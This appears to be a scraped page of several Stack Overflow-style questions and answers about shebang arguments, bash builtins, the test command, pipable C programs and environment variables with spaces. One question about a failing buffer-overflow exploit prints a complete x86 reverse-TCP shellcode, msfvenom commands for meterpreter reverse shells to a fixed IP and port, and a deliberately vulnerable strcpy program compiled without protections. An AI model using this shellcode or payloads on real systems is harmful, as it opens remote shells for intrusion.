How can interpreter detect being called from a script as opposed to command line? - arguments

As "is known", a script my-script-file which starts with
#!/path/to/interpreter -arg1 val1 -arg2 val2
is executed by exec calling /path/to/interpreter with 2(!) arguments:
-arg1 val1 -arg2 val2
my-script-file
(and not, as one might naively expect, with 5 arguments
-arg1
val1
-arg2
val2
my-script-file
as has been explained in many previous questions, e.g.,
https://stackoverflow.com/a/4304187/850781).
My problem is from the POV of an interpreter developer, not script writer.
How do I detect from inside the interpreter executable that I was called from shebang as opposed to the command line?
Then I will be able to decide whether I need to split my first argument
by space to go from "-arg1 val1 -arg2 val2" to ["-arg1", "val1", "-arg2", "val2"] or not.
The main issue here is script files named with spaces in them.
If I always split the 1st argument, I will fail like this:
$ my-interpreter "weird file name with spaces"
my-interpreter: "weird": No such file or directory

On Linux, with GNU libc or musl libc, you can use the aux-vector to distinguish the two cases.
Here is some sample code:
#define _GNU_SOURCE 1
#include <stdio.h>
#include <errno.h>
#include <sys/auxv.h>
#include <sys/stat.h>
int
main (int argc, char* argv[])
{
printf ("argv[0] = %s\n", argv[0]);
/* https://www.gnu.org/software/libc/manual/html_node/Error-Messages.html */
printf ("program_invocation_name = %s\n", program_invocation_name);
/* http://man7.org/linux/man-pages/man3/getauxval.3.html */
printf ("auxv[AT_EXECFN] = %s\n", (const char *) getauxval (AT_EXECFN));
/* Determine whether the last two are the same. */
struct stat statbuf1, statbuf2;
if (stat (program_invocation_name, &statbuf1) >= 0
&& stat ((const char *) getauxval (AT_EXECFN), &statbuf2) >= 0)
printf ("same? %d\n", statbuf1.st_dev == statbuf2.st_dev && statbuf1.st_ino == statbuf2.st_ino);
}
Result for a direct invocation:
$ ./a.out
argv[0] = ./a.out
program_invocation_name = ./a.out
auxv[AT_EXECFN] = ./a.out
same? 1
Result for an invocation through a script that starts with #!/home/bruno/a.out:
$ ./a.script
argv[0] = /home/bruno/a.out
program_invocation_name = /home/bruno/a.out
auxv[AT_EXECFN] = ./a.script
same? 0
This approach is, of course, highly unportable: Only Linux has the getauxv function. And there are surely cases where it does not work well.

Related

Bash builtins also available as separate executables

I wanted to understand bash builtins. Hence the following questions:
When I think of the term builtin I am thinking that the bash executable has a function defined in its symbol table that other parts of the executable can access without actually having to fork. Is this what builtin means?
I also see that some builtins have a separate executable. For instance type [ returns [ is a shell builtin. But then I also see an executable named /usr/bin/[. Is it correct to say that the same code is available through two executables: one through bash program and another through /usr/bin/[?
Loosely speaking, the program version of the built-ins is used when the shell interpreter is not available or not needed. Let's explain it in more details...
When you run a shell script, the interpreter recognizes the built-ins and will not fork/exec but merely call the function corresponding to the built-in. Even if you call them from an C/C++ executable through system(), the latter launches a shell first and then makes the spawn shell run the built-in.
Here is an example program, which runs echo message thanks to system() library service:
#include <stdlib.h>
int main(void)
{
system("echo message");
return 0;
}
Compile it and run it:
$ gcc msg.c -o msg
$ ./msg
message
Running the latter under strace with the -f option shows the involved processes. The main program is executed:
$ strace -f ./msg
execve("./msg", ["./msg"], 0x7ffef5c99838 /* 58 vars */) = 0
Then, system() triggers a fork() which is actually a clone() system call. The child process#5185 is launched:
clone(child_stack=0x7f7e6d6cbff0, flags=CLONE_VM|CLONE_VFORK|SIGCHLD
strace: Process 5185 attached
<unfinished ...>
The child process executes /bin/sh -c "echo message". The latter shell calls the echo built-in to display the message on the screen (write() system call):
[pid 5185] execve("/bin/sh", ["sh", "-c", "echo message"], 0x7ffdd0fafe28 /* 58 vars */ <unfinished ...>
[...]
[pid 5185] write(1, "message\n", 8message
) = 8
[...]
+++ exited with 0 +++
The program version of the built-ins is useful when you need them from a C/C++ executable without an intermediate shell for the sake of the performances. For instance, when you call them through execv() function.
Here is an example program which does the same thing as the preceding example but with execv() instead of system():
#include <unistd.h>
int main(void)
{
char *av[3];
av[0] = "/bin/echo";
av[1] = "message";
av[2] = NULL;
execv(av[0], av);
return 0;
}
Compile and run it to see that we get the same result:
$ gcc msg1.c -o msg1
$ ./msg1
message
Let's run it under strace to get the details. The output is shorter because no sub-process is involved to execute an intermediate shell. The actual /bin/echo program is executed instead:
$ strace -f ./msg1
execve("./msg1", ["./msg1"], 0x7fffd5b22ec8 /* 58 vars */) = 0
[...]
execve("/bin/echo", ["/bin/echo", "message"], 0x7fff6562fbf8 /* 58 vars */) = 0
[...]
write(1, "message \1\n", 10message
) = 10
[...]
exit_group(0) = ?
+++ exited with 0 +++
Of course, if the program is supposed to do additional things, a simple call to execv() is not sufficient as it overwrites itself by the /bin/echo program. A more elaborated program would fork and execute the latter program but without the need to run an intermediate shell:
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
int main(void)
{
if (fork() == 0) {
char *av[3];
av[0] = "/bin/echo";
av[1] = "message";
av[2] = NULL;
execv(av[0], av);
}
wait(NULL);
// Make additional things before ending
return 0;
}
Compile and run it under strace to see that the intermediate child process executes the /bin/echo program without the need of an intermediate shell:
$ gcc msg2.c -o msg2
$ ./msg2
message
$ strace -f ./msg2
execve("./msg2", ["./msg2"], 0x7ffc11a5e228 /* 58 vars */) = 0
[...]
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLDstrace: Process 5703 attached
, child_tidptr=0x7f8e0b6e0810) = 5703
[pid 5703] execve("/bin/echo", ["/bin/echo", "message"], 0x7ffe656a9d08 /* 58 vars */ <unfinished ...>
[...]
[pid 5703] write(1, "message\n", 8message
) = 8
[...]
[pid 5703] +++ exited with 0 +++
<... wait4 resumed>NULL, 0, NULL) = 5703
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=5703, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
exit_group(0) = ?
+++ exited with 0 +++
the bash executable has a function defined in its symbol table
There are builtins that are included inside Bash executable. You can load builtins dynamically from a separate shared library on runtime.
can access without actually having to fork
Yes.
Is it correct to say that the same code is available through two executables: one through bash executable and another through /usr/bin/[?
No, it's a different source code. One is a Bash builtin and the other is a program. It will be a different source code. There is also different behavior in grey areas.
$ printf "%q\n" '*'
\*
$ /bin/printf "%q\n" '*'
'*'
$ time echo 1
1
real 0m0.000s
user 0m0.000s
sys 0m0.000s
$ /bin/time echo 1
1
0.00user 0.00system 0:00.00elapsed 50%CPU (0avgtext+0avgdata 2392maxresident)k
64inputs+0outputs (1major+134minor)pagefaults 0swaps
$ [ -v a ]
$ /bin/[ -v a ]
/bin/[: ‘-v’: unary operator expected

Trying to understand behavior of `test <command>` in Bash

Suppose I have this simple C program (test.c):
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
exit (1);
}
Obviously, the exit code of this program is 1:
$ gcc test.c
$ ./a.out
$ echo $?
1
But when I run test ./a.out, the result of the test doesn't match the exit code:
$ test ./a.out
$ echo $?
0
So what is actually being tested? Why is the result of the test 0?
test is a Bash built-in, often invoked by the alternative name [.
The last command (test ./a.out) exits with status 0 indicating success because test ./a.out checks whether ./a.out as a string has one or more characters in it (is not an empty string), and because it isn't an empty string, returns success or 0. The test ./a.out command line does not execute your a.out program — as you could see by printing something from within your program.
As written, your program doesn't need the <stdio.h> header or the arguments to main() — it should be int main(void). You could lose <stdlib.h> too if you use return 1; instead of exit(1);:
int main(void)
{
return 1;
}
To use the exit status in an if condition in the shell, just use it directly:
if ./a.out ; then
echo Success
else
echo Failure
fi
Rule of Thumb: Don't call C programs test because you will be confused sooner or later — usually sooner rather than later.
Your C program returns "1" to the shell (I'd prefer"return()" over exit()", but...)
If you wanted to actually run "a.out" in conjunction with the "*nix" test command, you'd use syntax like:
`./a.out` # classic *nix
or
$(./a.out) # Bash
If you did that, however, "test" would read the value printed to "stdout", and NOT the value returned by your program on exit.
You can read more about test here:
test(1) - Linux man page
The classic test command: Bash hackers wiki
Understanding exit codes and how to use them in Bash scripts
Here is an example:
C program:
#include <stdio.h>
int main (int argc, char *argv[]) {
printf("%d\n", argc);
return 2;
}
Shell script:
echo "Assign RETVAL the return value of a.out:"
./a.out RETVAL=$? echo " " RETVAL=$RETVAL
echo "Assign RETVAL the value printed to stdout by a.out:"
RETVAL=$(./a.out) echo " " RETVAL=$RETVAL
echo "Turn an 'trace' and run a.out with 'test':"
set -x
if [ $(./a.out) -eq 1 ]; then
echo "One"
else
echo "Not One"
fi
Example output:
paulsm#vps2:~$ ./tmp.sh
Assign RETVAL the return value of a.out:
1
RETVAL=2
Assign RETVAL the value printed to stdout by a.out:
RETVAL=1
Turn an 'trace' and run a.out with 'test':
+++ ./a.out
++ '[' 1 -eq 1 ']'
++ echo One
One
ALSO:
A couple of points that have already been mentioned:
a. return 1 is generally a better choice than exit (1).
b. "test" is probably a poor name for your executable - because it collides with the built-in "test" command. Something like "test_return" might be a better choice.

How to create a command line pipe? (xcode mac os x)

How to create a command line pipe? (xcode mac os x) Hello I want to
create a command line with xcode (mac os x) that had the quality of
being used in pipe after "|" .
i know that by using xargs we can pass arguments stored in stdin into
arguments.
I would like to understand how to create a pipable command line. Thank
you for your answers
For example, if we define the hand function that should receive the
arguments to execute. In a rudimentary way we will write (in C):
int main (int argc, char ** argv)
{
char buf [512] = "";
char buf1[512] = "";
int f;
and achieve some things
the first argument of the argument array, contains in any case the no
of the command line that you are creating ex: argv [0] "echo" and the
argument following the one you wish to use, 'here for echo argv [1]
"the sun shines" of course if echo is able to receive an argument
after "|" (pipe) for example: echo "the sun is shining" | echo, but
echo do not use the pipe.
For our main function, is elementarily we will check if argv [1]
contains an argument by
if (argv [1] == NULL)
> {
there we arbitrarily take the guess that argv [1] is empty. as a reminder our command line is located after a pipe "|" if our argv [1]
is empty, it will need to find an argument to continue using our
command line, for this we accept the postulate that if the command
line is placed after "|" pipe is that the output of the previous
command is not empty from where what will follow
> f = open ("/ dev / stdin", O_RDONLY);
> read (f, buf, sizeof (buf));
memcpy (buf1, buf, sizeof (buf));
now we have opened the stream "stdin" which necessarily contains the
output of the previous command, we use 2 buffers buf [512] and buf1
[512], because we can not fill argv [1], now that we have our
arguments in a buffer, one can realize the continuation of the
execution of the command, as if it were about argv [1].
In objective-c or in C simply, to give an line command the virtue to
be used ien pipeline as a result of the use of "|" after another
command line, it is necessary to redirect "stdin" towards the entry of
the command line as it was an argument ("argv"). From there by
mastering a little programming in "C", one must arrive at its ends to
make a command line create with xcode, usable after "|" .

Why reverse_tcp Shellcode doesn't work?

I am using this shellcode:
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\xc0\xa8\x0f\x81\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
from http://shell-storm.org/shellcode/files/shellcode-883.php
When I execute the .c program, it works, it receives connection and I can execute commands without any problem.
The problem is when injecting it in a buffer overflow, from the gdb: I receive the connection (which means that shellcode, offset and EIP are allright) and I am using the right IP and PORT, but right away, it just crashes.
I have tried with other shellcodes, with:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00' -f c
and:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00\xff\x09\x0a' -e x86/shikata_ga_nai -f c
And I receive the connection well, but.... right away, it just crashes and can't execute commands.
Mentioning that this is my .c vulnerable code:
#include <string.h>
#include <stdio.h>
void func(char *arg){
char nombre[90];
strcpy(nombre,arg);
printf ("\nBienvenido a Linux Exploiting %s\n\n", nombre);
}
int main (int argc, char *argv[]){
if (argc != 2){
printf ("Uso %s Nombre\n", argv[0]);
exit(0);
}
func(argv[1]);
printf("Fin del programa\n");
return 0;
}
I inject: Shellcode + (102-74 (or -98 with the metasploit payloads))x"A" + RET (I get the addr alright by setting a break after the strcpyand getting where the buffer starts exactly and I know it works, because as I said, I receive the connection (If I change a byte anywhere I don't receive anything).
And I am compiling it with: //gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack -g prog2.c -o prog2

How can you access an environment variable that has a space in its name in bash?

Running env returns "Clear Workspace=true". How can I access it in bash? FYI, it's coming from a Jenkins Parameterized Build parameter name. ${Clear Workspace} does not appear to work.
Also, how is Jenkins even able to create this environment variable? Running Clear Workspace=true in bash obviously doesn't work as it tries to run the "Clear" command with an argument of "Workspace=true".
I could of course make the job parameter name Clear_Workspace, but it's presented in a form to the user, so I'd rather not. Also, the Maven Build Plugin for Jenkins has several parameter names with spaces in them, so it must be possible to access them somehow.
You can simulate this bit of fun with the env command
env Clear\ Workspace=true bash
That will give you a shell with the environment variable set.
A hacky way, which should work up to bash 4.0, to get the environment variable value back out is:
declare -p Clear\ Workspace | sed -e "s/^declare -x Clear Workspace=\"//;s/\"$//"
Bash versions starting with 4.0 will instead return an error and are unable to extract such environment variables in that way.
Other than that you'd need to use either a native code program or a scripting language to pull it out, e.g.
ruby -e "puts ENV['Clear Workspace']"
Which is much less hacky... also if you don't have ruby
perl -e 'print "$ENV{\"Clear Workspace\"}\n";'
also
python -c 'import os; print os.environ["Clear Workspace"]'
And here is a native code version:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv, char **envp)
{
char **env;
char *target;
int len;
if (argc != 2)
{
printf("Syntax: %s name\n", argv[0]);
return 2;
}
len = strlen(argv[1]);
target = calloc(len+2,sizeof(char));
strncpy(target,argv[1],len+2);
target[len++] = '=';
target[len] = '0';
for (env = envp; *env != 0; env++)
{
char *thisEnv = *env;
if (strncmp(thisEnv,target,len)==0)
{
printf("%s\n",thisEnv+len);
return 0;
}
}
return 1;
}
bash is not the only language that can manipulate the environment:
$ perl -e '$ENV{"Clear Workspace"}="true"; system "env"' | grep Clear
Clear Workspace=true
If you're in a shell, you can always parse the output of env (untested)
value=$(env | while IFS="=" read -r var value; do
if [[ $var = "Clear Workspace" ]]; then
echo "$value"
break
fi
done )
Jenkins is probably creating something other than an environment variable.
You cannot have spaces in environment variables. Quoting http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap08.html:
Environment variable names used by the utilities in the Shell and
Utilities volume of IEEE Std 1003.1-2001 consist solely of uppercase
letters, digits, and the '_' (underscore) from the characters defined
in Portable Character Set and do not begin with a digit.
Java supports passing environment variables with spaces in names to processes. Here's an example that proves it:
Given /tmp/test
#!/bin/sh
env > /tmp/test.out
and Test.java
import java.util.*;
import java.io.*;
public class Test {
public static void main(String[] args) throws Exception {
ProcessBuilder pb = new ProcessBuilder("/tmp/test");
Map<String, String> env = pb.environment();
env.put("a b", "true");
pb.directory(new File("/tmp"));
Process p = pb.start();
}
}
run
> javac Test.java
> java Test
> grep "a b" /tmp/test.out
a b=true
Jenkins uses the same functionality to start processes.
For you to access those from a pure shell, without using python, ruby, etc however, I am not sure. I haven't been able to achieve it yet.
You may wish to convert those to variable without spaces as those have better portability guarantee.
The Following command will return the value of the environment variable " Clear Workspace ":
set | grep "Clear Workspace" | awk -F'=' '{print $NF}'
You can assign to another variable without space and use for your purpose :
export Clear_Workspace=\`set | grep "Clear Workspace" | awk -F'=' '{print $NF}'\`
Give a try.

Resources